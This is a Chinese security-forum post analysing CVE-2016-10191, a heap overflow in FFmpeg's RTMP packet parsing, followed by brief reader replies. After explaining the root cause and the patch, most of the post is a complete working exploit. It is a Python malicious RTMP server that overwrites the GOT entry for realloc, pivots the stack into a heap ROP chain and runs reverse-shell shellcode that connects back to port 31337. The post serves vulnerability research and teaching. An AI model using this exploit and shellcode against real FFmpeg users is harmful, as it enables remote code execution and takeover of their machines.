首页
社区
课程
招聘
[原创]CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用
发表于: 2017-9-20 15:58 3974

[原创]CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

2017-9-20 15:58
3974

作者:栈长@蚂蚁金服巴斯光年安全实验室

一、前言

FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。网上对CVE-2016-10190已经有了很多分析文章,但是CVE-2016-10191尚未有其他人分析过。本文详细分析了CVE-2016-10191,是学习漏洞挖掘以及利用的一个非常不错的案例。


二、漏洞成因分析

在 RTMP协议中,最小的发送数据包的单位是一个 chunk。客户端和服务器会互相协商好发送给对方的 chunk 的最大大小,初始为 0x80 个字节。一个 RTMP Message 如果超出了Max chunk size, 就需要被拆分成多个 chunk 来发送。在 chunk 的 header 中会带有 Chunk Stream ID 字段(后面简称 CSID),用于对等端在收到 chunk 的时候重新组装成一个 Message,相同的CSID 的 chunk 是属于同一个 Message 的。

在每一个 Chunk 的 Message Header 部分都会有一个 Size 字段存储该 chunk 所属的 Message 的大小,按道理如果是同一个 Message 的 chunk 的话,那么 size 字段都应该是相同的。这次漏洞的起因是对于属于同一个 Message 的 Chunk的 size 字段没有校验前后是否一致,导致写入堆的时候缓冲区溢出。

漏洞发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中,漏洞相关部分的源代码如下

    size = size - p->offset;    //size 为 chunk 中提取的 size 字段

    //没有检查前后 size 是否一致

toread = FFMIN(size, chunk_size);//控制toread的值

if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) {

ff_rtmp_packet_destroy(p);

return AVERROR(EIO);

    }

在 max chunk size 为0x80的前提下,如果前一个 chunk 的 size 为一个比较下的数值,如0xa0,而后一个 chunk 的 size 为一个非常大的数值,如0x2000, 那么程序会分配一个0xa0大小的缓冲区用来存储整个 Message,第一次调用ffurlreadcomplete函数会读取0x80个字节,放到缓冲区中,而第二次调用的时候也是读取0x80个字节,这就造成了缓冲区的溢出。


官方修补方案

非常简单,只要加入对前后两个 chunk 的 size 大小是否一致的判断就行了,如果不一致的话就报错,并且直接把前一个 chunk 给销毁掉。

+    if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) {

 +        av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %d\n",

 +                size,

 +                prev_pkt[channel_id].size);

 +        ff_rtmp_packet_destroy(&prev_pkt[channel_id]);

 +        prev_pkt[channel_id].read = 0;

+    }

 +


三、漏洞利用环境的搭建

漏洞利用的靶机环境

操作系统:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (参照462K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1M7X3q4U0i4K6u0W2k6X3k6E0M7r3g2Y4i4K6u0W2L8%4u0Y4i4K6u0r3N6$3W2C8K9g2)9J5c8V1y4G2L8i4m8A6L8r3q4@1K9h3!0F1c8%4g2A6k6r3g2Q4x3V1k6g2j5Y4g2F1N6s2g2Q4c8e0N6Q4b7V1y4Q4z5e0k6Q4c8e0S2Q4b7f1k6Q4z5e0q4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0W2Q4z5f1y4Q4z5o6m8Q4c8e0S2Q4b7e0k6Q4z5o6q4Q4c8e0k6Q4z5p5q4Q4z5p5q4Q4c8e0g2Q4b7f1g2Q4z5e0S2Q4c8e0k6Q4z5e0k6Q4b7U0W2Q4c8e0k6Q4z5e0g2Q4z5e0W2Q4c8e0N6Q4b7e0S2Q4z5p5u0Q4c8e0c8Q4b7U0S2Q4b7f1c8Q4c8e0k6Q4z5p5k6Q4z5e0m8Q4c8e0g2Q4z5p5k6Q4z5p5q4Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0k6Q4z5o6W2Q4z5o6m8Q4c8e0k6Q4z5f1y4Q4z5o6V1`. encoder编译进去。)

官方的编译过程由于很多都是静态编译,在一定程度上降低了利用难度。


四、漏洞利用脚本的编写

首先要确定大致的利用思路,由于是堆溢出,而且是任意多个字节的,所以第一步是观察一下堆上有什么比较有趣的数据结构可以覆盖。堆上主要有一个RTMPPacket结构体的数组,每一个RTMPPakcet就对应一个 RTMP Message,RTMPPacket的结构体定义是这样的:

/**

 * structure for holding RTMP packets

 */

typedefstructRTMPPacket {

intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)

RTMPPacketType type;       ///< packet payload type

uint32_t       timestamp;  ///< packet full timestamp

uint32_t       ts_field;   ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field.

    uint32_t       extra;      ///< probably an additional channel ID used during streaming data    //这个是 Message Stream ID?

uint8_t        *data;      ///< packet payload

int            size;       ///< packet payload size

int            offset;     ///< amount of data read so far

int            read;       ///< amount read, including headers

} RTMPPacket;


其中有一个很重要的 data 字段就指向这个 Message 的 data buffer,也是分配在堆上。客户端在收到服务器发来的 RTMP 包的时候会把包的内容存储在 data buffer 上,所以如果我们控制了RTMPPacket中的 data 指针,就可以做到任意地址写了。


我们的最终目的是要执行一段shellcode,反弹一个 shell 到我们的恶意服务器上。而要执行shellcode,可以通过mprotect函数将一段内存区域的权限修改为rwx,然后将shellcode部署到这段内存区域内,然后跳转过去执行。那么怎么才能去执行mprotect呢,当然是通过 ROP 了。ROP 可以部署在堆上,然后在程序中寻找合适的 gadget 把栈指针迁移到堆上就行了。


那么第一步就是如何控制RTMPPacket中的 data 指针了,我们先发一个 chunk 给客户端,CSID为0x4,程序为调用下面这个函数在堆上分配一个RTMPPacket[20] 的数组,然后在数组下面开辟一段buffer存储Message的 data。

if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,

channel_id)) < 0)


很容易想到利用堆溢出覆盖这个RTMPPacket的数组就可以了,但是这时候的堆布局数组是在可溢出的heap chunk的上方,怎么办?再发送一个CSID为20的 chunk 给客户端,ff_rtmp_check_alloc_array会调用realloc函数给数组重新分配更大的空间,然后数组就跑到下面去了。此时的堆布局如下

然后我们就可以构造数据包来溢出覆盖数组了,我们在数据包中伪造一个RTMPPacket结构体,然后把数组的第二项覆盖成我们伪造的结构体。其中 data 字段指向 got 表中的realloc(为什么覆盖realloc后面会提), size 随意指定一个0x4141, read 字段指定为0x180, 只要不为0就行了(为0的话会在堆上malloc一块区域然后把 data 指针指向这块区域)。


这之后我们再发送 CSID 为2的一个 chunk,chunk 的内容就是要修改的 got 表的内容。这里我们覆盖成movrsp, rax这个gadget 的地址,用来迁移栈。接下来我们就把 ROP 部署在堆上。ROP 做了这么几件事:


1  调用mprotect使得代码段可写

2  把shellcode写入0x40000起始的位置

3  跳转到0x400000执行shellcode

发送足够数量的包部署好 ROP 之后,就要想办法调用realloc函数了,ffrtmpcheckallocarray函数调用了realloc, 发一个 CSID 为63的过去,就能触发这个函数调用realloc,在函数调用realloc之前正好能将RTMPPacket数组的起始地址填入rax,然后调用realloc的时候因为 got 表被覆写了,实际调用了movrsp, rax,然后就成功让栈指针指向堆上了。之后就可以成功开始执行我们的shellcode了。这个时候整个堆的布局如下:

最后利用成功的截图如下:

先在本机开启一个恶意的 RTMP 服务端



然后使用ffmpeg程序去连接上图的服务端



在另一个终端用nc监听31337端口



可以看到程序执行了我们的shellcode之后成功连上了31337端口,并反弹了一个 shell。

最后附上完整的exp,根据2d7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4y4@1i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2j5$3!0E0i4K6u0r3f1r3q4#2L8p5y4Z5k6i4u0Q4x3V1j5&6j5h3y4X3y4r3c8U0y4o6N6U0z5e0g2S2z5r3t1@1x3r3t1@1y4e0k6T1j5e0l9K6j5U0l9#2j5e0V1I4x3#2!0q4y4q4!0n7c8W2!0m8c8g2!0q4y4W2)9&6y4q4!0n7z5g2!0q4z5q4)9^5x3q4)9^5b7#2!0q4y4W2)9&6c8q4!0m8y4b7`.`.


#!/usr/bin/python

#coding=utf-8

importos

import socket

importstruct

from time import sleep

frompwn import *

bind_ip = '0.0.0.0'

bind_port = 12345

elf = ELF('/home/dddong/bin/ffmpeg')

gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux')))

# Gadgets that we need to know inside binary

# to successfully exploit it remotely

add_esp_f8 = 0x00000000006719e3

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rax = gadget('pop rax; ret')

mov_rsp_rax = gadget('movrsp, rax; ret')

mov_gadget = gadget('mov qword ptr [rax], rsi ; ret')

got_realloc = elf.got['realloc']

log.info("got_reallocaddr:%#x" % got_realloc)

plt_mprotect = elf.plt['mprotect']

log.info("plt_mprotectaddr:%#x" % plt_mprotect)

shellcode_location = 0x400000

# backconnect 127.0.0.1:31337 x86_64 shellcode

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐

defcreate_payload(size, data, channel_id):

    """

生成一个RTMP Message

    """

payload = ''

    #Message header的类型为1

payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id;

payload += '\0\0\0' # ts_field

payload += p24(size) # size

payload += p8(0x00) # Message type

payload += data # data

return payload

defcreate_rtmp_packet(channel_id, write_location, size=0x4141):

    """

创造一个RTMPPacket结构体

    """

data = ''

data += p32(channel_id) # channel_id

data += p32(0) # type

data += p32(0) # timestamp

data += p32(0) # ts_field

data += p64(0) # extra

data += p64(write_location) # write_location - data

data += p32(size) # size

data += p32(0) # offset

data += p64(0x180) # read

return data

def p24(data):

packed_data = p32(data, endian='big')[1:]

assert(len(packed_data) == 3)

returnpacked_data

defhandle_request(client_socket):

    v = client_socket.recv(1)   #接收握手包C0

client_socket.send(p8(3))   #发送握手包S0, 版本号

payload = ''

    payload += '\x00' * 4   #好像是 timestamp,没什么卵用

    payload += '\x00' * 4   #这四个字节是 Server 的版本号,这里设置为全0,防止客户端走校验的流程

    payload += os.urandom(1536 - 8) #剩下的都随机生成

client_socket.send(payload) #发送握手包S1

client_socket.send(payload) #发送握手包S2

client_socket.recv(1536) #接收握手包C1

client_socket.recv(1536) #接收握手包C2

    #以上就是整个握手过程

print 'sending payload'

payload = create_payload(0xa0, 'U' * 0x80, 4)

client_socket.send(payload)

payload = create_payload(0xa0, 'A' * 0x80, 20)

client_socket.send(payload)

data = ''

data += 'U' * 0x20 # the rest of chunk

data += p64(0)     # zerobytes

    data += p64(0x6a1) # real size of chunk, 这一行size 可能需要根据实际情况更改

data += p64(add_esp_f8) # trampoline to rop

    data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0]

    data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1]

payload = create_payload(0x2000, data, 4)

client_socket.send(payload) #到这一步程序并没有崩溃

data = ''

data += 'I' * 0x10 # fill the previous RTMPPacket[1]

    #data += p64(add_rsp_a8)

data += create_rtmp_packet(2, got_realloc)

    data += 'D' * (0x80 - len(data)) #填充到0x80个字节

payload = create_payload(0x1800, data, 4)

client_socket.send(payload)

    #把 got 表中av_realloc改写

jmp_to_rop = ''

jmp_to_rop += p64(mov_rsp_rax)

jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop))

payload = create_payload(0x1800, jmp_to_rop, 2)

client_socket.send(payload)

rop = ''

rop += 'AAAAAAAA' * 6 # padding

rop += p64(pop_rdi)

rop += p64(shellcode_location) #shellcode不放在堆上是因为难以 leak 堆地址?

rop += p64(pop_rsi)

rop += p64(0x1000)

rop += p64(pop_rdx)

rop += p64(7)

rop += p64(plt_mprotect)

    #mprotect(shellcode_location, 0x1000, 7)

write_location = shellcode_location

shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #将shellcode以8个字节为1组打包

    for shell in shellslices:   #把shellcode通过rop的方式写入

rop += p64(pop_rax)

rop += p64(write_location)

rop += p64(pop_rsi)

rop += shell

rop += p64(mov_gadget)

write_location += 8

rop += p64(shellcode_location)

rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80个字节对齐

rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #将rop以0x80个字节为1组打包

for data in rop_slices:

payload = create_payload(0x2000, data, 4)

client_socket.send(payload)

    # does not matter what data to send because we try to trigger

    # av_realloc function inside ff_rtmp_check_alloc_array

    # so that av_realloc(our_data) shall be called

payload = create_payload(1, 'A', 63)

client_socket.send(payload)

sleep(3)

print 'sending done'

    #raw_input("wait for user interaction.")

client_socket.close()

if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((bind_ip, bind_port))

s.listen(5)

while True:

print 'Waiting for new client...'

client_socket, addr = s.accept()

handle_request(client_socket)


五、参考资料

1  漏洞详情:9b1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3!0H3k6h3&6%4j5h3I4D9i4K6u0W2j5$3!0E0i4K6u0r3L8r3W2K6N6s2y4Q4x3V1k6G2M7%4y4Q4x3X3c8K6k6h3y4#2M7X3W2@1P5g2)9J5c8U0t1H3x3e0N6Q4x3V1j5H3x3g2)9J5c8U0x3I4i4K6u0r3x3e0t1`.

2  官方修复:b6fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6r3c8X3#2H3k6h3N6Q4x3V1k6r3c8X3#2H3k6h3N6Q4x3V1k6U0L8$3#2E0K9i4c8Q4x3V1j5%4k6o6f1%4j5$3p5@1k6o6W2S2y4K6f1#2y4U0u0X3j5e0x3J5k6e0b7H3y4K6j5$3x3U0p5I4k6r3f1I4y4e0m8X3z5r3t1K6k6h3f1%4

3  漏洞作者提供的exp:2d7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4y4@1i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2j5$3!0E0i4K6u0r3f1r3q4#2L8p5y4Z5k6i4u0Q4x3V1j5&6j5h3y4X3y4r3c8U0y4o6N6U0z5e0g2S2z5r3t1@1x3r3t1@1y4e0k6T1j5e0l9K6j5U0l9#2j5e0V1I4x3H3`.`.

4  RTMP 介绍:54dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2A6L8X3N6&6j5h3&6Y4M7$3S2S2L8X3N6Q4x3X3g2Y4K9i4c8Z5N6h3u0Q4x3X3g2A6L8#2)9J5c8U0t1H3x3e0k6Q4x3V1j5H3x3#2)9J5c8U0l9$3i4K6u0r3f1W2c8y4f1q4)9J5y4f1f1#2i4K6t1#2z5p5c8Q4x3U0f1^5c8W2)9J5y4f1f1^5i4K6t1#2b7f1g2Q4x3U0g2m8c8g2)9J5c8R3`.`.

5  RTMP 介绍:e1eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3A6A6j5h3&6K6K9s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6H3i4K6u0r3x3o6m8S2j5$3g2S2j5X3y4W2z5e0b7@1

官方编译FFmpeg的教程:ef7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6@1M7X3q4U0i4K6u0W2k6X3k6E0M7r3g2Y4i4K6u0W2L8%4u0Y4i4K6u0r3N6$3W2C8K9g2)9J5c8V1y4G2L8i4m8A6L8r3q4@1K9h3!0F1c8%4g2A6k6r3g2Q4x3V1k6g2j5Y4g2F1N6s2f1`.


-------------------------------更多安全类热点信息和知识分享,请关注阿里聚安全的官方博客



[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 53
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
好文,支持!
2017-9-20 16:29
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
3
不错
2017-9-20 16:37
0
雪    币: 0
活跃值: (878)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
2017-9-20 22:51
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
多谢楼上,收藏了
2017-10-17 22:07
0
雪    币: 5640
活跃值: (8078)
能力值: ( LV15,RANK:531 )
在线值:
发帖
回帖
粉丝
6
你们这一篇文章在每个平台的代码排版写得都跟屎一样...
2017-10-29 10:27
0
游客
登录 | 注册 方可回帖
返回